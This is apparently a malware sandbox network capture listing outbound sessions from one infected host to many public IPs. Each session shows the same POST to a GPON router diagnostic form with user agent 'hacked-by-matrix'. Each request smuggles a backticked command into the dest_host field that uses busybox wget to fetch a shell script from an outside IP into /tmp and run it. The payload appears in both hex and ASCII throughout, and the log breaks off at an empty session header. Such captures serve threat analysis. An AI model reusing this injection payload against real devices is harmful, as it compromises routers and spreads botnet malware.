Mar 21, 2024 05:23:33.816145897 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1717	192.168.2.13	45426	5.10.21.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816184044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1718	192.168.2.13	52936	5.254.225.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816463947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1719	192.168.2.13	46486	109.75.85.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816469908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1720	192.168.2.13	56764	118.122.86.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816498041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1721	192.168.2.13	47626	5.246.186.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816508055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1722	192.168.2.13	53682	118.115.38.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816538095 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1723	192.168.2.13	36610	212.37.109.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816545010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1724	192.168.2.13	32826	118.65.56.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816598892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1725	192.168.2.13	34548	109.109.237.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816643000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1726	192.168.2.13	40192	118.81.123.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816657066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1727	192.168.2.13	37414	5.231.142.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816735029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1728	192.168.2.13	58062	42.175.54.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816757917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1729	192.168.2.13	52740	212.160.206.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816773891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1730	192.168.2.13	45628	118.174.248.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816836119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1731	192.168.2.13	45652	109.157.13.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816855907 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1732	192.168.2.13	45762	42.153.109.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816874981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1733	192.168.2.13	58594	118.240.33.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816907883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1734	192.168.2.13	60540	212.220.67.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816956997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1735	192.168.2.13	46228	109.149.152.161	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817012072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1736	192.168.2.13	55946	42.236.140.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817012072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1737	192.168.2.13	45434	5.80.47.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817047119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1738	192.168.2.13	35334	212.103.56.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817070961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1739	192.168.2.13	35442	212.137.97.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817089081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1740	192.168.2.13	59194	212.40.183.223	443

Timestamp	Bytes transferred	Direction	Data
